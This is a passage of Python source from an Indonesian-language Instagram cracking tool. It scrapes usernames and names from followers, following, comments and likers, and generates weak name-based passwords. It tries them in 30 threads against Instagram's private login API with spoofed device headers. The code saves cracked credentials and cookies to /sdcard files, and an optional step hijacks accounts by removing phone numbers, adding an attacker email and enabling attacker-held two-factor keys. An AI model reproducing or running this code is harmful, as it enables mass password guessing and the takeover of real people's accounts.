  395.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  396.                 if 'next_max_id' in str(response):
  397.                     self.Dump_Followers(username, cookie, response['next_max_id'])
  398.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  399.            
  400.     def Dump_Following(self, username, cookie, max_id):
  401.         with requests.Session() as r:
  402.             try:
  403.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  404.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/following/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  405.                 for akun in response['users']:
  406.                     if akun not in dump:
  407.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  408.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  409.                 if 'next_max_id' in str(response):
  410.                     self.Dump_Following(username, cookie, response['next_max_id'])
  411.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  412.            
  413.     def Dump_Komentar(self, username, cookie, max_min):
  414.         with requests.Session() as r:
  415.             try:
  416.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  417.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/comments/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  418.                 for akun in response['comments']:
  419.                     if akun not in dump:
  420.                         dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
  421.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  422.                 if 'next_min_id' in str(response):
  423.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  424.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
  425.            
  426.     def Dump_Likers(self, username, cookie, max_min):
  427.         with requests.Session() as r:
  428.             try:
  429.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  430.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/likers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  431.                 for akun in response['users']:
  432.                     if akun not in dump:
  433.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  434.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  435.                 if 'next_min_id' in str(response):
  436.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  437.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  438.            
  439.     def Result(self, result, isi):
  440.         if result in ('1','01'):
  441.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  442.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f'\r╭ auth secure account',style='green'); true.add(f"status two {buka.split('|')[6]}"); true.add(f"secret key {buka.split('|')[7]}"); true.add(f"pemulihan {buka.split('|')[8]}"); true.add(f"telephone {buka.split('|')[9]}"); true.add(f"add email {buka.split('|')[10]}"); true.add(f"web email {buka.split('|')[11]}"); true = tree.add(f"Cookie {buka.split('|')[12]}"); tree.add("Success cek in Result OK"); printz(tree)
  443.                 except Exception: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f"Cookie {buka.split('|')[6]}"); tree.add("Success cek in Result OK"); printz(tree)
  444.                    
  445.         elif result in ('2','02'):
  446.             for buka in open(f'/sdcard/2F/'+str(isi)).readlines():
  447.                 try: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='red'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result 2F"); printz(tree)
  448.                 except Exception: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result 2F"); printz(tree)
  449.                
  450.         elif result in ('3','03'):
  451.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  452.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='yellow'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result CP"); printz(tree)
  453.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result CP"); printz(tree)  
  454.            
  455.     def Methode(self):
  456.         try:
  457.             self.Meterans.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Api V1\n[bold green]02.[bold white] Methode [bold green]Api Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  458.             self.Meterans.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Ajax V1\n[bold green]04.[bold white] Methode [bold green]Ajax Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Ajax[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  459.             Console().print(Columns(self.Meterans))
  460.             Kntl = Console().input("[bold grey50]   ╰─> ")
  461.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan Auto Amankan Akun [italic green]Ubah Password, Ganti Email, Hapus Nomor, Pasang Two Facktor[italic white] Jika Mendapat Result Ok!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Amankan Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  462.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  463.             if Secure_Akun =='y' or Secure_Akun =='ya':
  464.                 self.amankan_akun.append('ya')
  465.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan [italic green]Useragent Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menggunakan Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menggunakan Useragent Manual!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent Manual[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  466.             Ua_Akun = Console().input("[bold grey50]   ╰─> ")
  467.             if Ua_Akun =='y' or Ua_Akun =='ya':
  468.                 self.uaman.append('ya')
  469.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  470.                 Mugu = Console().input("[bold grey50]   ╰─> ")
  471.                 self.uaku.append(Mugu)
  472.             self.Exec_Password(Kntl)
  473.         except (Exception) as e:
  474.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  475.             exit()    
  476.            
  477.     def Exec_Password(self, Kntl):
  478.         try:
  479.             Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Password Fash [bold grey50]([bold green]Username, Nama 321,123,12345[bold grey50])\n[bold white][bold green]02[bold white]. Password Slow [bold grey50]([bold green]Username, Nama 321,123,1234,12345[bold grey50])\n[bold white][bold green]03[bold white]. Password Gabung [bold grey50]([bold green]Username, Nama 321,123,1234,12345,Dll[bold grey50])''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))  
  480.             Password_Akun = Console().input("[bold grey50]   ╰─> ")
  481.             self.Password_Tambah(Kntl, Password_Akun)
  482.         except (Exception) as e:
  483.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  484.             exit()              
  485.            
  486.     def Password_Tambah(self,Kntl, Password_Akun):
  487.         try:
  488.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  489.             Zigarete = Console().input("[bold grey50]   ╰─> ")
  490.             if Zigarete == 'y' or Zigarete =='ya':
  491.                 self.masukan_sandi.append('ya')
  492.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  493.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  494.                 for ops in Masukan_Password.split(','): self.password_manual.append(ops)
  495.                
  496.             else: self.masukan_sandi.append('no')
  497.             self.Exec_Methode(Kntl, Password_Akun)
  498.         except (Exception) as e:
  499.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  500.             exit()    
  501.            
  502.     def Simpan_Result(self):
  503.         self.waktu = datetime.datetime.now()
  504.         self.bulan = ['Januari', 'Februari', 'Maret', 'April',  'Mei', 'Juni', 'Juli','Agustus', 'September', 'Oktober', 'November', 'Desember']
  505.         return(f'OK-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}', f'2F-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}',f'CP-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}')
  506.        
  507.     def Exec_Methode(self, Kntl, Password_Akun):
  508.         self.result_ok,self.result_two,self.result_cp = self.Simpan_Result()
  509.         Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di Folder : /sdcard/OK/[bold green]{self.result_ok}\n[bold green]•[bold white] Result [bold red]2F[bold white] Tersimpan Di Folder : /sdcard/2F/[bold red]{self.result_two}\n[bold green]•[bold white] Result [bold yellow]CP[bold white] Tersimpan Di Folder : /sdcard/CP/[bold yellow]{self.result_cp}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Instagram[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  510.         Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
  511.         with ThreadPoolExecutor(max_workers=30) as V:
  512.             for Username_And_Fullname in dump:
  513.                 username, fullname = Username_And_Fullname.split('<=>')
  514.                 self.password = []
  515.                 if Password_Akun =='01' or Password_Akun =='1':
  516.                     for nama in fullname.split(' '):
  517.                         if len(nama) < 3: continue
  518.                         else:
  519.                             for passwords in [f'{nama}321', f'{nama}123', f'{nama}12345']:
  520.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
  521.                                     continue
  522.                                 else:
  523.                                     self.password.append(f'{str(passwords).lower()}')
  524.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  525.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  526.                             continue
  527.                         else: self.password.append(f'{str(passwords).lower()}')
  528.                 elif Password_Akun =='02' or Password_Akun =='2':
  529.                     for nama in fullname.split(' '):
  530.                         if len(nama) < 3: continue
  531.                         else:
  532.                             for passwords in [f'{nama}321', f'{nama}123', f'{nama}1234', f'{nama}12345']:
  533.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
  534.                                     continue
  535.                                 else:
  536.                                     self.password.append(f'{str(passwords).lower()}')
  537.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  538.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  539.                             continue
  540.                         else: self.password.append(f'{str(passwords).lower()}')
  541.                 elif Password_Akun =='03' or Password_Akun =='3':
  542.                     for nama in fullname.split(' '):
  543.                         if len(nama) < 3: continue
  544.                         else:
  545.                             for passwords in [f'{nama}321', f'{nama}123', f'{nama}1234', f'{nama}12345', f'{nama}123456']:
  546.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
  547.                                     continue
  548.                                 else:
  549.                                     self.password.append(f'{str(passwords).lower()}')
  550.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  551.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  552.                             continue
  553.                         else: self.password.append(f'{str(passwords).lower()}')
  554.                 else:
  555.                     for nama in fullname.split(' '):
  556.                         if len(nama) < 3: continue
  557.                         else:
  558.                             for passwords in [f'{nama}321', f'{nama}123', f'{nama}12345']:
  559.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
  560.                                     continue
  561.                                 else:
  562.                                     self.password.append(f'{str(passwords).lower()}')
  563.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  564.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  565.                             continue
  566.                         else: self.password.append(f'{str(passwords).lower()}')
  567.                 if 'ya' in self.masukan_sandi:
  568.                     for Pemasukan_Password in self.password_manual:
  569.                         self.password.append(Pemasukan_Password)
  570.                 if Kntl in ('1'): V.submit(self.ExecApi, username, self.password)
  571.                 elif Kntl in ('2'): V.submit(self.ExecApi_Threads, username, self.password)
  572.                 elif Kntl in ('3'): V.submit(self.ExecAjax, username, self.password)
  573.                 elif Kntl in ('4'): V.submit(self.ExecAjax_Threads, username, self.password)
  574.                 else: V.submit(self.ExecApi, username, self.password)
  575.         Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.success}[bold white] Hasil [bold green]Success[bold white], [bold red]{self.faktor}[bold white] Hasil [bold red]Two Faktor[bold white] Dan [bold yellow]{self.chekpoint}[bold white] Hasil [bold yellow]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] Username, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  576.         exit()
  577.        
  578.     def ExecApi(self, username, password):
  579.         byps = requests.Session()
  580.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  581.         ua_generate = Useragent().useragent_api()
  582.         for passwd in password:
  583.             try:
  584.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  585.                 else: ua_generate
  586.                 hash = hashlib.md5()
  587.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  588.                 hex_ = hash.hexdigest()
  589.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  590.                 curl = byps.get('https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid='+Requ().guid(), data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+str(json.dumps({"id":"{}".format(str(uuid.uuid4())),"server_config_retrieval":"1","experiments":"ig_android_fci_onboarding_friend_search,ig_android_device_detection_info_upload,ig_android_sms_retriever_backtest_universe,ig_android_direct_add_direct_to_android_native_photo_share_sheet,ig_growth_android_profile_pic_prefill_with_fb_pic_2,ig_account_identity_logged_out_signals_global_holdout_universe,ig_android_login_identifier_fuzzy_match,ig_android_reliability_leak_fixes_h1_2019,ig_android_video_render_codec_low_memory_gc,ig_android_custom_transitions_universe,ig_android_push_fcm,ig_android_show_login_info_reminder_universe,ig_android_email_fuzzy_matching_universe,ig_android_one_tap_aymh_redesign_universe,ig_android_direct_send_like_from_notification,ig_android_suma_landing_page,ig_android_direct_main_tab_universe,ig_android_session_scoped_logger,ig_android_accoun_switch_badge_fix_universe,ig_android_smartlock_hints_universe,ig_android_black_out,ig_android_account_switch_infra_universe,ig_android_video_ffmpegutil_pts_fix,ig_android_multi_tap_login_new,ig_android_caption_typeahead_fix_on_o_universe,ig_android_save_pwd_checkbox_reg_universe,ig_android_nux_add_email_device,ig_android_direct_remove_view_mode_stickiness_universe,ig_username_suggestions_on_username_taken,ig_android_analytics_accessibility_event,ig_android_ingestion_video_support_hevc_decoding,ig_android_account_recovery_auto_login,ig_android_feed_cache_device_universe2,ig_android_sim_info_upload,ig_android_mobile_http_flow_device_universe,ig_account_recovery_via_whatsapp_universe,ig_android_hide_fb_button_when_not_installed_universe,ig_android_targeted_one_tap_upsell_universe,ig_android_gmail_oauth_in_reg,ig_android_native_logcat_interceptor,ig_android_hide_typeahead_for_logged_users,ig_android_vc_interop_use_test_igid_universe,ig_android_reg_modularization_universe,ig_android_phone_edit_distance_universe,ig_android_device_verification_separate_endpoint,ig_android_universe_noticiation_channels,ig_smartlock_login,ig_android_account_linking_universe,ig_android_hsite_prefill_new_carrier,ig_android_retry_create_account_universe,ig_android_family_apps_user_values_provider_universe,ig_android_reg_nux_headers_cleanup_universe,ig_android_device_info_foreground_reporting,ig_android_device_verification_fb_signup,ig_android_onetaplogin_optimization,ig_video_debug_overlay,ig_android_ask_for_permissions_on_reg,ig_assisted_login_universe,ig_android_display_full_country_name_in_reg_universe,ig_android_security_intent_switchoff,ig_android_device_info_job_based_reporting,ig_android_passwordless_auth,ig_android_direct_main_tab_account_switch,ig_android_modularized_dynamic_nux_universe,ig_android_fb_account_linking_sampling_freq_universe,ig_android_fix_sms_read_lollipop,ig_android_access_flow_prefill"})),'ig_sig_key_version': '4'}, allow_redirects=True)
  591.                 headers = {
  592.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  593.                     'x-ig-app-locale': 'in_ID',
  594.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  595.                     'x-ig-device-locale': 'in_ID',
  596.                     'x-ig-mapped-locale': 'id_ID',
  597.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  598.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  599.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  600.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  601.                     'x-ig-timezone-offset': str(-time.timezone),
  602.                     'x-ig-connection-type': 'MOBILE(LTE)',
  603.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  604.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  605.                     'x-ig-app-id': '567067343352427',
  606.                     'priority': 'u=3',
  607.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  608.                     'user-agent': ua_generate,
  609.                     'accept-language': 'id-ID, en-US',
  610.                     'x-bloks-is-layout-rtl': 'false',
  611.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  612.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  613.                     'Host': 'api.instagram.com',
  614.                     'x-fb-http-engine': 'Liger',
  615.                     'x-fb-client-ip': 'True',
  616.                     'x-fb-server-cluster': 'True',
  617.                     'x-fb-connection-type': 'MOBILE.LTE',
  618.                     'connection': 'keep-alive',  
  619.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  620.                 }
  621.                 payload = json.dumps({
  622.                     'username':username,
  623.                     'phone_id': Requ().poid(),
  624.                     'adid':Requ().adid(username),
  625.                     '_csrftoken': curl.cookies.get('csrftoken',None),
  626.                     'guid': Requ().guid(),
  627.                     'device_id': f'android-{hash.hexdigest()[:16]}',
  628.                     'login_attempt_count': '0',
  629.                     'enc_password':Requre().enc_password(passwd)
  630.                     }
  631.                 )
  632.                 encode = ('signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  633.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  634.                 response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, allow_redirects=True).text
  635.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  636.                 if 'logged_in_user' in str(response):
  637.                     self.success+=1
  638.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  639.                     except (Exception) as e: cookie = (None)
  640.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  641.                     except (UnboundLocalError) as e: pass
  642.                     if 'ya' in self.amankan_akun:
  643.                         try:
  644.                             num = Require().DeltPhone(cookie)
  645.                             statp, pone = num['Dihapus'], num['Number']
  646.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  647.                             two = Require().Aktifkan2F(cookie)
  648.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  649.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  650.                             Temp = Require().AddMail(cookie)
  651.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  652.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  653.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  654.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  655.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  656.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  657.                             truu.add(f'[bold green]deleted nomor {deleted}')
  658.                             truu.add(f'[bold green]ganti email {email} {statd}')
  659.                             truu.add(f'[bold green]web email {inbx}')
  660.                             truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
  661.                             truu.add(f'[bold green]secreet key {key}')
  662.                             truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  663.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  664.                             printz(tree)
  665.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  666.                         except Exception as e:
  667.                             print(e)
  668.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  669.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  670.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  671.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  672.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  673.                             printz(tree)
  674.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  675.                     else:
  676.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  677.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  678.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  679.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  680.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  681.                         printz(tree)
  682.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  683.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  684.                         wr.write(save)
  685.                         wr.close()
  686.                     break          
  687.                 elif 'two_factor_required' in str(response):
  688.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  689.                     except (UnboundLocalError) as e: pass
  690.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  691.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  692.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  693.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  694.                     printz(tree)
  695.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  696.                     self.faktor+=1
  697.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  698.                         wr.write(save)
  699.                         wr.close()  
  700.                     break
  701.                 elif 'challenge_required' in str(response):
  702.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  703.                     except (UnboundLocalError) as e: pass
  704.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  705.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  706.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
